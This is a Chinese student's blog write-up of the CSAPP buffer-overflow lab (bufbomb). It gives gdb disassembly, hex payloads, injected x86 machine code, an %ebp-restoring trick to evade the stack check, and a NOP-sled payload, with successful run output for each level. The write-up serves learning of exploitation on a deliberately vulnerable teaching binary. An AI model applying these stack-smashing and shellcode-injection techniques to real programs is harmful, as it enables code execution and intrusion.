操作系统_学习日志_汇编---部分实验补充

版权声明:我的码云地址:https://gitee.com/ZzYangHao https://blog.csdn.net/qq_21049875/article/details/81164826

  补充的实验是缓冲区攻击。
  然后我发现了一件事情,就是我下载的lab是2e版本的,而最新的是3e,实验内容差别不算大,思路方法都是差不多的。
  (我原先参考的教程:https://wdxtub.com/2016/04/16/thick-csapp-lab-3/
  
  

实验介绍

  
   实验文件名以及作用:

bufbomb
栈溢出实验主要的攻击目标
makecookie
根据用户输入的userid生成唯一(很大可能)的4字节字符串
hex2raw
将用户构造的2进制字符串转换为字节码

一、重定向调用函数

  以前在上密码学的实验课的时候,老师让我们做过一个缓冲区溢出的实验,也就是本实验,不过以前不了解汇编以及寄存器的作用,什么%rsp,%rbp,以及参数变量局部变量是怎么压栈,所以就迷迷糊糊的做完了实验(当时老师简单的介绍了这些,但是听不懂=_=).
  所以,再来做做这实验,从汇编层面了解来做。
  下面信息是运行bufbomb后的一个使用说明,暂时用不到后面几个选项,填写-u就可以了,程序会根据id随机生成结果。(也可以自己反汇编该程序,去查看main函数中的调用情况,我自己查看汇编得到的信息是,main函数中会根据用户输入的选项以及参数假随机(也就是同一个输入还是几次调用随机的结果都一样)生成一组数,然后调用一个函数launcher,然后在launcher中调用launch,然后在launch函数中调用test函数,test函数调用getbuf函数。)
  
  bufbomb运行说明:

[root@yanghao buflab-handout]# ./bufbomb
./bufbomb: Missing required argument (-u <userid)
Usage: ./bufbomb -u <userid> [-nsh]
  -u <userid> User ID
  -n          Nitro mode
  -s          Submit your solution to the grading server
  -h          Print help information


  上面括号中的内容是在不看实验指导,瞎鸡儿自己去看的结果!!
  所以本次实验的目的是:在调用getbuf之后调用bomb文件中的smoke函数,而不是继续运行test函数接下来的内容。
  
  getbuf、test、smoke函数的C代码:

int getbuf()
    {
        char bur[NORMAL_BUFFER_SIZE];
        Gets(buf);
        return 1;
    }

    void test()
    {
        int val;
        /* Put canary on stack to detect possible corruption*/
        volatile int local = uniqueval();

        val = getbuf();

        /*Check for corrupted stack*/
        if(local != uniqueval){
            printf("Sabotaged:the stack has been corrupted\n");
        }else if(val == cookie){
            printf("Boom!:getbuf returned 0x%x\n",val);
            validate(3);
        }else{
            printf("Dud:getbuf return 0x%x\n",val);
        }
    }
    void smoke()
    {
        printf("Smoke!: You called smoke()\n"); validate(0);
        exit(0);
    }

  既然是在getbuf调用之后调用smoke函数,所以我们只要修改getbuf压入栈中的返回地址,当程序运行完getbuf函数,%rsp就会缩栈返回到getbuf返回地址,这时候我们只要把返回地址修改成smoke函数的地址就ok了。(返回地址其实就是call指令位置的下一个位置的指令地址,函数返回后从那个地址继续运行)
  
  压栈顺序图:
  这里写图片描述
  
  然后开始我们的程序运行吧,我自己的参数是 -u yh ,得到以下信息,而我们缓冲区溢出攻击,就是要输入字符溢出导致改写地址,这里我输入的字符是:hello,显然得到的结果是没溢出,所以我们来看看getbuf函数的汇编吧,以及了解缓冲区的大小。

  输入-u yh的结果:

[root@yanghao buflab-handout]# ./bufbomb -u yh
Userid: yh
Cookie: 0x1e3a4131
Type string:hello
Dud: getbuf returned 0x1
Better luck next time

  设置getbuf函数处断点:

Dump of assembler code for function getbuf:
   0x080491f4 <+0>: push   %ebp
   0x080491f5 <+1>: mov    %esp,%ebp
   0x080491f7 <+3>: sub    $0x38,%esp
   0x080491fa <+6>: lea    -0x28(%ebp),%eax
   0x080491fd <+9>: mov    %eax,(%esp)
   0x08049200 <+12>:    call   0x8048cfa <Gets>
=> 0x08049205 <+17>:    mov    $0x1,%eax
   0x0804920a <+22>:    leave  //mov %ebp %esp   pop %ebp
   0x0804920b <+23>:    ret   

  可以看到一开始为getbuf函数生成0x38的存放空间,之后把0x28的空间数据分配给%eax ,然后调用完Gets函数,接受到我们输入的字符串,该存储于%eax 中,我们也就可以得出,字符串数组的大小是40(0x28) .
  所以我们要修改返回地址,则需要溢出的字节为4+4(%ebp+getbuf返回地址)就可以修改返回地址,所以我们要输入的字节数目是,40+8(字符数组大小+ebp占用空间+ret地址空间),如果不明白lea -0x28(%ebp),%eax为什么是分配了40字节给数组,可以这样解释:在栈中,栈低->栈顶的地址是由大到小,所以函数调用过程是栈的伸缩,而数组中元素的地址是由低向高,比如数组int ary[10]ary[0]地址是0x1,则ary[1] 的地址为0x5,所以我们上面分配的40字节数组中,第一个字符地址在-0x28%ebp+0x1,而第二个字符则是 -0x28%ebp+0x2,依次类推。
  我们再来看看smoke在程序运行时的地址,以下是smoke反汇编代码,可以看到地址为0x08048c18,所以只要这个地址输入到ret地址就可以了,这时候要注意机器的大小端,可以写一个c程序,用union结构去测试,我的系统是小端。
  因此我们要输入的是18 8c 04 08.

(gdb) disas smoke 
Dump of assembler code for function smoke:
   0x08048c18 <+0>: push   %ebp
   0x08048c19 <+1>: mov    %esp,%ebp
   0x08048c1b <+3>: sub    $0x18,%esp
   0x08048c1e <+6>: movl   $0x804a4d3,(%esp)
   0x08048c25 <+13>:    call   0x80488c0 <puts@plt>
   0x08048c2a <+18>:    movl   $0x0,(%esp)
   0x08048c31 <+25>:    call   0x804937b <validate>
   0x08048c36 <+30>:    movl   $0x0,(%esp)
   0x08048c3d <+37>:    call   0x8048900 <exit@plt>
End of assembler dump.

  其中我们需要把字符文件转换为字节码去输入到程序中,要使用hex2raw转换hex2raw 每次需要输入一个 2 位的 16 进制编码,如果想要输出 0,那么需要写 00。
  前44个字节随便填写,后4个字节为smoke函数地址。
  输入内容如下:
  PS:以下内容保存到一个文件中,使用hex2raw转换,比如:./hex2raw < ptr | ./bufbomb -u yh,其中ptr为存入以下数据的文件,然后把得到的结果当作标准输出当作后一个命令的标准输入,也就是|后面的命令。


00 00 00 00 
00 00 00 00 
00 00 00 00 
00 00 00 00 
00 00 00 00 
00 00 00 00 
00 00 00 00 
00 00 00 00 
00 00 00 00 
00 00 00 00
00 00 00 00
18 8c 04 08

  
  程序运行结果如下:

[root@yanghao buflab-handout]# ./hex2raw < ptr | ./bufbomb -u yh
Userid: yh
Cookie: 0x1e3a4131
Type string:Smoke!: You called smoke()
VALID
NICE JOB!

  
  

二、重定向调用带参数函数

  如果上面的实验会做了之后,其实这就很简单了,该实验目的是调用fizz函数,并传递自己的cookie给该函数。
  
  fizz函数:

    void fizz(int val)
    {
        if (val == cookie) {
        printf("Fizz!: You called fizz(0x%x)\n", val);
        validate(1);
    } else
        printf("Misfire: You called fizz(0x%x)\n", val);
        exit(0); 
    }

  有了实验1的经验,这就比较轻松了,我们要做的是修改ret地址,于是到这里,我们就有两种方法去解决这个问题。
  第一种方法:修改返回地址为fizz函数地址,然后根据fizz反汇编代码找出参数存放的位置,然后用我们的cookie值去覆盖该位置。
  
  运行时fizz反汇编代码:

(gdb) disas fizz 
Dump of assembler code for function fizz:
   0x08048c42 <+0>: push   %ebp
   0x08048c43 <+1>: mov    %esp,%ebp
   0x08048c45 <+3>: sub    $0x18,%esp
   0x08048c48 <+6>: mov    0x8(%ebp),%eax
   0x08048c4b <+9>: cmp    0x804d108,%eax
   0x08048c51 <+15>:    jne    0x8048c79 <fizz+55>
   0x08048c53 <+17>:    mov    %eax,0x8(%esp)
   0x08048c57 <+21>:    movl   $0x804a4ee,0x4(%esp)
   0x08048c5f <+29>:    movl   $0x1,(%esp)
   0x08048c66 <+36>:    call   0x80489c0 <__printf_chk@plt>
   0x08048c6b <+41>:    movl   $0x1,(%esp)
   0x08048c72 <+48>:    call   0x804937b <validate>
   0x08048c77 <+53>:    jmp    0x8048c91 <fizz+79>
   0x08048c79 <+55>:    mov    %eax,0x8(%esp)
   0x08048c7d <+59>:    movl   $0x804a340,0x4(%esp)
   0x08048c85 <+67>:    movl   $0x1,(%esp)
   0x08048c8c <+74>:    call   0x80489c0 <__printf_chk@plt>
   0x08048c91 <+79>:    movl   $0x0,(%esp)
   0x08048c98 <+86>:    call   0x8048900 <exit@plt>

  我们可以看到会用0x804d108这个地址的数据和%ebp+0x8的数据比较,也就是c代码中传入参数的值和cookie比较,所以我们只要修改在实验1的基础上,修改返回地址,然后再加上8个字节表示我们的cookie值,就可以。
  这里说一下为什么是+8个字节,当getbuf中的指令执行完leave指令,然后执行ret的时候相当于pop eip,也就是把返回地址从栈中弹出,在%eip中写入该返回地址去执行,而此时我们执行的是溢出修改的fizz函数地址,fizz函数如同上面的汇编代码,会将%ebp压入栈中,此时%ebp压入的位置和我们getbuf的返回地址一样,而在fizz函数中,参数的位置是%ebp+8,所以就在修改返回地址之上再加8个字节的位置就是参数。
  即:

00 00 00 00 
00 00 00 00 
00 00 00 00 
00 00 00 00 
00 00 00 00 
00 00 00 00 
00 00 00 00 
00 00 00 00 
00 00 00 00 
00 00 00 00
00 00 00 00
42 8c 04 08   //返回地址修改为fizz
00 00 00 00
59 70 67 5c   //cookie值

  调用结果:

[root@yanghao buflab-handout]# ./hex2raw < ptr2| ./bufbomb -u yanghao
Userid: yanghao
Cookie: 0x5c677059
Type string:Fizz!: You called fizz(0x5c677059)
VALID
NICE JOB!

  
  第二种方法:注入代码,如果在fizz的汇编中,参数是%edi或者esi 之类的寄存器保存的话,可以使用这个方法,详情见:https://wdxtub.com/2016/04/16/thick-csapp-lab-3/ 的第二阶段。
  当然,这个方法也和解决下一个实验有关,在下面这实验会详细说的,因为在fizz函数中,它的参数和ebp%的位置相关,而执行到ret的时候,%ebp会被pop出去,而执行fizz的时候压入的是另一个%ebp所以不太好修改%ebp+0x8的位置(可以尝试在调用getbuf函数之前记录%rsp地址,把0x4(%rsp)地址的值修改为我们的cookie值,这样在后面调用fizz的时候,0x8%ebp的位置就是记录的0x4(%rsp),这只是假设,不知道对不对),用第一种方法计算位置,在指定的位置存放参数,这样在执行fizz函数的时候可以根据ebp的位置去找。
  
  

三、注入代码

  我们要做的是和上面做的差不多,即在调用getbuf函数后,调用bang函数,让全局变量等于我们的cookie值。
  我们要做的是修改buf的返回地址,以及修改该全局变量的值。
  bang函数代码:

    int global_value = 0;
    void bang(int val)
    {
        if (global_value == cookie) {
        printf("Bang!: You set global_value to 0x%x\n", global_value); validate(2);
         } else
        printf("Misfire: global_value = 0x%x\n", global_value);
        exit(0); 
    }

  bang汇编代码:

(gdb) disas bang
Dump of assembler code for function bang:
   0x08048c9d <+0>: push   %ebp
   0x08048c9e <+1>: mov    %esp,%ebp
   0x08048ca0 <+3>: sub    $0x18,%esp
   0x08048ca3 <+6>: mov    0x804d100,%eax  //0x804d100地址存储着global_value
   0x08048ca8 <+11>:    cmp    0x804d108,%eax  //0x804d108地址存储着cookie
   0x08048cae <+17>:    jne    0x8048cd6 <bang+57>
   0x08048cb0 <+19>:    mov    %eax,0x8(%esp)
   0x08048cb4 <+23>:    movl   $0x804a360,0x4(%esp)
   0x08048cbc <+31>:    movl   $0x1,(%esp)
   0x08048cc3 <+38>:    call   0x80489c0 <__printf_chk@plt>
   0x08048cc8 <+43>:    movl   $0x2,(%esp)
   0x08048ccf <+50>:    call   0x804937b <validate>
   0x08048cd4 <+55>:    jmp    0x8048cee <bang+81>
   0x08048cd6 <+57>:    mov    %eax,0x8(%esp)
   0x08048cda <+61>:    movl   $0x804a50c,0x4(%esp)
   0x08048ce2 <+69>:    movl   $0x1,(%esp)
   0x08048ce9 <+76>:    call   0x80489c0 <__printf_chk@plt>
   0x08048cee <+81>:    movl   $0x0,(%esp)
   0x08048cf5 <+88>:    call   0x8048900 <exit@plt>

  从上面我们知道了该函数的地址,以及全局变量的地址(查看内存地址内容得知):0x804d100,那我们要怎么修改全局变量呢?答案是通过汇编代码,利用缓冲区,在调用bang函数前注入汇编代码修改全局变量的值,把getbuf存在栈中的返回地址修改成getbuf函数中字符数组的缓冲区地址,让%eip去加载缓冲区中的指令,我们要做的是把写好的汇编代码通过gcc -c生成机器语言指令,然后把指令存入的缓冲区中。
  我们要注入的代码code1:

mov 0x804d108,%eax
mov %eax,0x804d100
push $0x08048c9d  //函数地址压入栈中,该立即数对应的是bang函数的指令
ret  //pop eip,把函数地址写入eip,eip执行后跳转到bang函数中

  反汇编得到的code1:

code1.o:     file format elf64-x86-64
Disassembly of section .text:
0000000000000000 <.text>:
   0:   8b 04 25 08 d1 04 08    mov    0x804d108,%eax
   7:   89 04 25 00 d1 04 08    mov    %eax,0x804d100
   e:   68 9d 8c 04 08          pushq  $0x8048c9d
  13:   c3                      retq   

  上面左边的就是机器指令了,我们把指令加入字符数组中:

8b 04 25 08
d1 04 08 89 
04 25 00 d1 
04 08 68 9d
8c 04 08 c3
00 00 00 00 
00 00 00 00 
00 00 00 00 
00 00 00 00 
00 00 00 00
00 00 00 00
38 3a 68 55  //字符数组缓冲区地址

  字符数组缓冲区:
  

Dump of assembler code for function getbuf:
   0x080491f4 <+0>: push   %ebp
   0x080491f5 <+1>: mov    %esp,%ebp
   0x080491f7 <+3>: sub    $0x38,%esp
   0x080491fa <+6>: lea    -0x28(%ebp),%eax  //分配0x28大小字符数组给%eax
   0x080491fd <+9>: mov    %eax,(%esp)
   0x08049200 <+12>:    call   0x8048cfa <Gets>
=> 0x08049205 <+17>:    mov    $0x1,%eax
   0x0804920a <+22>:    leave  
   0x0804920b <+23>:    ret  
 查看寄存器状态:
(gdb) i r
eax            0x55683a38   1432894008   //缓冲区地址为0x55683a38
ecx            0xf7fc38a4   -134465372
edx            0xa  10
ebx            0x0  0
esp            0x55683a28   0x55683a28 <_reserved+1038888>
ebp            0x55683a60   0x55683a60 <_reserved+1038944>
esi            0x55686018   1432903704
edi            0x1  1
eip            0x8049205    0x8049205 <getbuf+17>
eflags         0x216    [ PF AF IF ]
cs             0x23 35
ss             0x2b 43
ds             0x2b 43
es             0x2b 43
fs             0x0  0
gs             0x63 99

  调用结果:

[root@yanghao buflab-handout]# ./hex2raw < ptr2 | ./bufbomb -u yanghao
Userid: yanghao
Cookie: 0x5c677059
Type string:Bang!: You set global_value to 0x5c677059
VALID
NICE JOB!

  

=========================2018.7.24更新=========================
  
  

四、躲避栈破坏检测

  本次实验目标,是让getbuf 函数返回值,且不让程序检测到栈被破坏。
  下面是test函数C代码中,加入了一种栈保护者机制,来检测缓冲区越界,也就是volatile int local=uniqueval(),在堆栈不溢出的情况下,uniqueval()两次返回值都一样。

void test()
    {
        int val;
        /* Put canary on stack to detect possible corruption*/
        volatile int local = uniqueval(); //从内存读值,而不是从寄存器中读取

        val = getbuf();

        /*Check for corrupted stack*/
        if(local != uniqueval){
            printf("Sabotaged:the stack has been corrupted\n");
        }else if(val == cookie){
            printf("Boom!:getbuf returned 0x%x\n",val);
            validate(3);
        }else{
            printf("Dud:getbuf return 0x%x\n",val);
        }
    }

  下面是test的部分汇编,可以看到调用第一次调用uniqueval后,返回的值存在%ebp-0x12的位置中,调用getbuf后,返回值从%eax传送到%ebx,然后再次调用uniqueval这时候返回的值存储在%eax中,然后就比较两次的结果是否相等,不相等就会跳转到堆栈溢出结果选项。
  而我们的目的是,利用堆栈溢出,修改getbuf返回值,且让uniqueval前后调用的值是相等的,我们可以利用上一个实验,注入代码跳转到0x08048dbe地址(看下面汇编就知道是什么地方了),具体方法就是把汇编代码写入缓冲区,然后push上面的地址,再利用ret把上面的地址pop出去让eip执行该地址的指令,如下面代码:

   0:   8b 04 25 08 d1 04 08    mov    0x804d108,%eax
   7:   68 be 8d 04 08          pushq  $0x8048dbe
   c:   c3                      retq   
Dump of assembler code for function test:
   0x08048daa <+0>: push   %ebp
   0x08048dab <+1>: mov    %esp,%ebp
   0x08048dad <+3>: push   %ebx
   0x08048dae <+4>: sub    $0x24,%esp
   0x08048db1 <+7>: call   0x8048d90 <uniqueval>
   0x08048db6 <+12>:    mov    %eax,-0xc(%ebp)
   0x08048db9 <+15>:    call   0x80491f4 <getbuf>
   0x08048dbe <+20>:    mov    %eax,%ebx
   0x08048dc0 <+22>:    call   0x8048d90 <uniqueval>
   0x08048dc5 <+27>:    mov    -0xc(%ebp),%edx
   0x08048dc8 <+30>:    cmp    %edx,%eax
   0x08048dca <+32>:    je     0x8048dda <test+48>

  那么问题就来了,我们怎么修改,才能使得堆栈不被检测出来溢出呢?目前我们只能猜测是%ebp产生了变化。导致+27位置获取-0xc(%ebp)出错,当我们修改缓冲区溢出后,因为我们要修改到返回地址,而途中包含%ebp,如实验三中我们注入的字节码,该%ebp的数据将会被4个由00转换的字节码数据给覆盖掉,在getbuf中执行leave指令后,恢复栈顶指针(如下汇编),但是此时的%ebp中的数据已经更改了,导致%ebp在执行leave指令的时候被破坏。

leave指令相当于:
mov rsp,rbp 
pop rbp

  如果对恢复%ebp不懂的话下面会说明是怎么恢复%ebp的。
  PS:如果指针掌握的好的话,可以把下面一堆文字理解成:堆栈上有两个指针,一个是esp(栈顶指针),一个是ebp(帧指针),在调用函数的时候,会把ebp指针压入栈中保存(称为旧ebp),然后把ebp指向当前esp指针,用作保存函数入口地址方便寻找被调用者函数的参数以及返回地址,因为之后堆栈会为局部变量分配空间,所以esp要移动地址会变化,到最后函数运行快结束后,为了能让机器执行到被调用者的返回地址(32位系统一般在旧ebp+0x4的地址),所以执行leave指令后,会让rsp指向rbp,找到函数入口,因为函数调用结束,需要恢复ebp内容(ebp指向旧ebp),否则调用者函数就找不到自己的参数返回地址了,所以会pop堆栈中的旧ebp,让当前ebp指向旧ebp,旧ebp的地址是调用者函数的入口地址。
  下面是getbuf的汇编代码:

 Dump of assembler code for function getbuf:
   0x080491f4 <+0>: push   %ebp
=> 0x080491f5 <+1>: mov    %esp,%ebp
   0x080491f7 <+3>: sub    $0x38,%esp
   0x080491fa <+6>: lea    -0x28(%ebp),%eax
   0x080491fd <+9>: mov    %eax,(%esp)
   0x08049200 <+12>:    call   0x8048cfa <Gets>
   0x08049205 <+17>:    mov    $0x1,%eax
   0x0804920a <+22>:    leave  
   0x0804920b <+23>:    ret    
End of assembler dump.

  在+1的位置,push的%ebp是调用者test的%ebp,此时栈顶元素是%ebp,那么我们再来看看此时的栈顶地址存放%ebp的什么数据。如下:

(gdb) x $esp
0x55683a60 <_reserved+1038944>: 0x55683a90   //左边的地址是栈的地址,右边是值。
这是调用者函数(test)中的%ebp:
(gdb) x $ebp   //压入栈的称为旧ebp
0x55683a90 <_reserved+1038992>: 0x55685ff0 //地址为左边,保存的值右边。

  从上面,我们知道了push寄存器入栈的值是寄存器的地址或者可以当作把指针压入栈,而%ebp作为函数的帧指针,用于查找函数的参数以及返回地址等等,此时我们可以用%ebp 保存%rsp 的地址,当函数调用快结束,栈的状态恢复到栈顶元素是之前的 %ebp地址,我们把它称为%oldebp,当执行leave指令把%oldebp弹出栈,相当于mov %oldebp %ebp ,也就是%ebp不再指向%rsp,指向原先的%ebp%oldebp)地址或者说是把pop出去的%oldebp数据写入%ebp,从而达到恢复调用之前的状态。
  若在被调用者中,存储于栈中的%ebp%oldebp)数据被改写,调用者中依赖于%ebp去寻找参数或者一些值将可能会出错,出现一些无法预测的错误。
  我今天因为push 进去的值是什么,%ebp是怎么恢复到调用者状态,而苦恼,也说明了我之前并没有很好的了解堆栈的函数调用,以及ret、leave、push、pop等指令,没有的掌握gdb去查询栈中的值。
  而这个实验验证是否栈溢出依赖于%ebp做基址+偏移量去寻值,所以要修改溢出位置的%ebp,修改cookie,然后跳转到test调用完getbuf之后的指令,或者是在缓冲区注入代码修改,然后跳转。
  所以这个实验有两种解法:
  方法一:通过代码修改

mov 0x804d108,%eax //cookie给返回值
mov $0x55683a90,%ebp //或者可以替换成lea 0x55683a90%ebp 
push $0x08048dbe
ret

对应的字符:

8b 04 25 08
d1 04 08 bd 
90 3a 68 55 
68 be 8d 04
08 c3 00 00
00 00 00 00 
00 00 00 00 
00 00 00 00 
00 00 00 00 
00 00 00 00
00 00 00 00
38 3a 68 55

结果如下:

[root@yanghao buflab-handout]# ./hex2raw < ptr2|./bufbomb -u yanghao
Userid: yanghao
Cookie: 0x5c677059
Type string:Boom!: getbuf returned 0x5c677059
VALID
NICE JOB!

  方法二:修改溢出部分
  

mov 0x804d108,%eax //cookie给返回值
push $0x08048dbe
ret
8b 04 25 08
d1 04 08 68
be 8d 04 08
c3 00 00 00
00 00 00 00 
00 00 00 00 
00 00 00 00 
00 00 00 00 
00 00 00 00
00 00 00 00
90 3a 68 55  //覆盖栈中存放的%ebp地址
38 3a 68 55  //字符缓冲区地址

=========================2018.7.25更新=========================

  
  昨天因为瞎想pop ebp是怎么恢复的,没有实际的去分析,浪费了很多时间,所以做题的时候要分析问题,最好自己一步步的去调试,分析,才能够解决问题,而不是瞎想猜测。

  
  

五、空操作雪橇(nop sled)技术

  正常的程序运行过程中,具体在栈中的位置是不确定,所以该实验与level3的区别在于,buf等地址在栈中位置是变化的。这里需要用到空操作雪橇(nop sled)技术,通过nop指令构造序列,执行nop指令会让pc也就是程序计数器+1,使其指向下一条指令之外没有任何效果,这样我们就能从一个高地址访问到低地址,找到我们的缓冲区为止,然后执行我们注入的指令。
  本次实验用到的不再是test和getbuf函数,而是getbufn函数、testn函数,代码结构没有什么改变,只是会重复调用5次testn,相应会调用5次getbufn。
  实验任务及注意:
  因为要调用的是testn,所以在调用 bufbomb的时候要加-n
  确定缓冲区起始地址范围 ,才能找到在里面注入代码。
  获取tesdn函数的正确%ebp指针内容,让程序溢出后能够正常像没溢出的状态运行下去。
  修改getbufn的返回值为我们的cookie。
    
  首先,我们来看看getbufn改变了什么,以下是汇编代码:

Dump of assembler code for function getbufn:
   0x0804920c <+0>: push   %ebp
   0x0804920d <+1>: mov    %esp,%ebp
   0x0804920f <+3>: sub    $0x218,%esp  
   0x08049215 <+9>: lea    -0x208(%ebp),%eax
   0x0804921b <+15>:    mov    %eax,(%esp)
   0x0804921e <+18>:    call   0x8048cfa <Gets>
   0x08049223 <+23>:    mov    $0x1,%eax
   0x08049228 <+28>:    leave  
   0x08049229 <+29>:    ret  

  可以看到分配了0x208(520)空间的缓冲区,而%ebp-0x208的空间是字符缓冲区的位置,所以为了该地址,我们可以这样:

(gdb)b getbufn
(gdb) display $ebp-0x218

  运行后信息如下,也可以看到字符缓冲区的地址在getbuf的函数帧或者栈中的地址变化范围是:0x556837d8 ~ 0x55683858,也就是0x80=120个字节。

Breakpoint 1, 0x08049215 in getbufn ()
1: $ebp-0x208 = (void *) 0x55683858 <_reserved+1038424>
Missing separate debuginfos, use: debuginfo-install glibc-2.17-222.el7.i686
(gdb) 
(gdb) c
Continuing.
Type string:1
Dud: getbufn returned 0x1
Better luck next time

Breakpoint 1, 0x08049215 in getbufn ()
1: $ebp-0x208 = (void *) 0x55683828 <_reserved+1038376>
(gdb) 
Continuing.
Type string:2
Dud: getbufn returned 0x1
Better luck next time

Breakpoint 1, 0x08049215 in getbufn ()
1: $ebp-0x208 = (void *) 0x556837d8 <_reserved+1038296>
(gdb) 
Continuing.
Type string:3
Dud: getbufn returned 0x1
Better luck next time

Breakpoint 1, 0x08049215 in getbufn ()
1: $ebp-0x208 = (void *) 0x55683858 <_reserved+1038424>
(gdb) 
Continuing.
Type string:4
Dud: getbufn returned 0x1
Better luck next time

Breakpoint 1, 0x08049215 in getbufn ()
1: $ebp-0x208 = (void *) 0x556837d8 <_reserved+1038296>
(gdb) 
Continuing.
Type string:5
Dud: getbufn returned 0x1
Better luck next time
[Inferior 1 (process 8517) exited normally]

  testn的%ebp或者说刚开始的栈顶地址也会变化,我们只要找其%esp的变化情况,就能依靠%esp+偏移量去找到%ebp,然后用其去还原我们堆栈溢出损坏的%ebp
  看看下面testn的部分汇编代码,可以知道%esp+0x28的位置即是ebp,因为调用testn也会产生不同的%ebp地址,所以我们就不需要找出该%ebp的具体地址了,直接根据%esp去寻找。

Dump of assembler code for function testn:
   0x08048e26 <+0>: push   %ebp
   0x08048e27 <+1>: mov    %esp,%ebp
   0x08048e29 <+3>: push   %ebx
   0x08048e2a <+4>: sub    $0x24,%esp
   0x08048e2d <+7>: call   0x8048d90 <uniqueval>
   0x08048e32 <+12>:    mov    %eax,-0xc(%ebp)
   0x08048e35 <+15>:    call   0x804920c <getbufn>
   0x08048e3a <+20>:    mov    %eax,%ebx

  所以呢,我们可以这样写:

//这里要注意什么时候用lea与mov,lea传地址,mov传值
//我之前没注意,使用mov 0x28(%esp),%ebp,这样意思就不是把0x28(%esp)地址传给%ebp
//而是把0x28(%esp)地址存的值
//PS:值一般都是存放调用者栈顶的地址,因为ebp压进去后,ebp=esp,指向栈顶的地址
//如果使用mov,就是ebp=launch的ebp,而不是test的ebp,调用关系luanch->test->getbuf
mov 0x804d108,%eax //cookie赋值给存储返回值的%eax
lea 0x28(%esp),%ebp //恢复被破坏的%ebp地址
push $0x08048e3a
ret 

  然后我们就利用nop指令在Intelx86系列CPU上操作码为:0x90,所以我们用90去填充缓冲区即可,然后设置缓冲区地址为上面地址最大的那个(0x55683848),因为栈地址从高到低,这样就算最高地址不是缓冲区的地址,但是里面填充了nop指令,eip会一直执行该空操作,而不是停止,所以就会一直执行到我们编写的汇编代码中。
  目前碰到一个问题,前面填充了524个字节包含nop指令和我自己添加进去的汇编代码,但是后面的4字节是字符缓冲区地址,在调用的时候发现地址是无效的,所以程序会报错,没有执行到缓冲区里面的指令,或者是汇编代码出现问题。
  晚上再来解决吧...没想清楚为什么缓冲区地址是错误的(用的是最大的地址)orz

  晚上了,下午搜了网上的一些同类的学习日志,发现编写的代码一样,缓冲区地址也是设置为最高地址,但是就我不能运行,于是想了下,可能是我是64位系统的缘故,在64位下编译的汇编代码生成的机器码和32位不同,而这个实验是32位下做的。
  所以,我就在汇编代码中加入了:

.code32   //告诉编译器生成32位的机器码  
lea 0x28(%esp),%ebp
mov $0x5c677059,%eax
push $0x08048e3a
ret   
//生成的结果为:
0000000000000000 <.text>:
   0:   8d 6c 24 28             lea    0x28(%rsp),%ebp
   4:   b8 59 70 67 5c          mov    $0x5c677059,%eax
   9:   68 3a 8e 04 08          pushq  $0x8048e3a
   e:   c3                       retq
//在64位下,不知道为什么在lea 两个寄存器的时候会变成以下机器码
67 8d 6c 24 28
//也就是多出了一个67,就因为这个机器码导致符号错误
//还有下面是原先的写法,是在64位下gcc编译的,把67去掉,输入机器码进字符串也可以运行
0000000000000000 <.text>:
   0:   67 8d 6c 24 28          lea    0x28(%esp),%ebp
   5:   8b 04 25 08 d1 04 08    mov    0x804d108,%eax
   c:   68 3a 8e 04 08          pushq  $0x8048e3a
  11:   c3 
//而上面的汇编在.code32模式下编译就变成了这样,好像错乱了,不太清楚为什么
0000000000000000 <.text>:
   0:   8d 6c 24 28             lea    0x28(%rsp),%ebp
   4:   a1 08 d1 04 08 68 3a    movabs 0x48e3a680804d108,%eax
   b:   8e 04 
   d:   08 c3                   or     %al,%bl      

  于是对应的字符串:

90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 8d 6c 24 28 b8 59 70 67 5c 68 3a 8e 04
08 c3 00 00
58 38 68 55

结果为:

[root@yanghao buflab-handout]# cat new|./hex2raw -n|./bufbomb -n -u yanghaoUserid: yanghao
Cookie: 0x5c677059
Type string:KABOOM!: getbufn returned 0x5c677059
Keep going
Type string:KABOOM!: getbufn returned 0x5c677059
Keep going
Type string:KABOOM!: getbufn returned 0x5c677059
Keep going
Type string:KABOOM!: getbufn returned 0x5c677059
Keep going
Type string:KABOOM!: getbufn returned 0x5c677059
VALID
NICE JOB!

  所以,到此该部分实验算是做完了,也对汇编有了一定的了解,以及程序底层的运行方式有了进一步的了解!!
  这是2e版本的实验,3e版的实验改了,好像更难了….要是以后想做的话,再在这里更新吧~

猜你喜欢

转载自blog.csdn.net/qq_21049875/article/details/81164826
今日推荐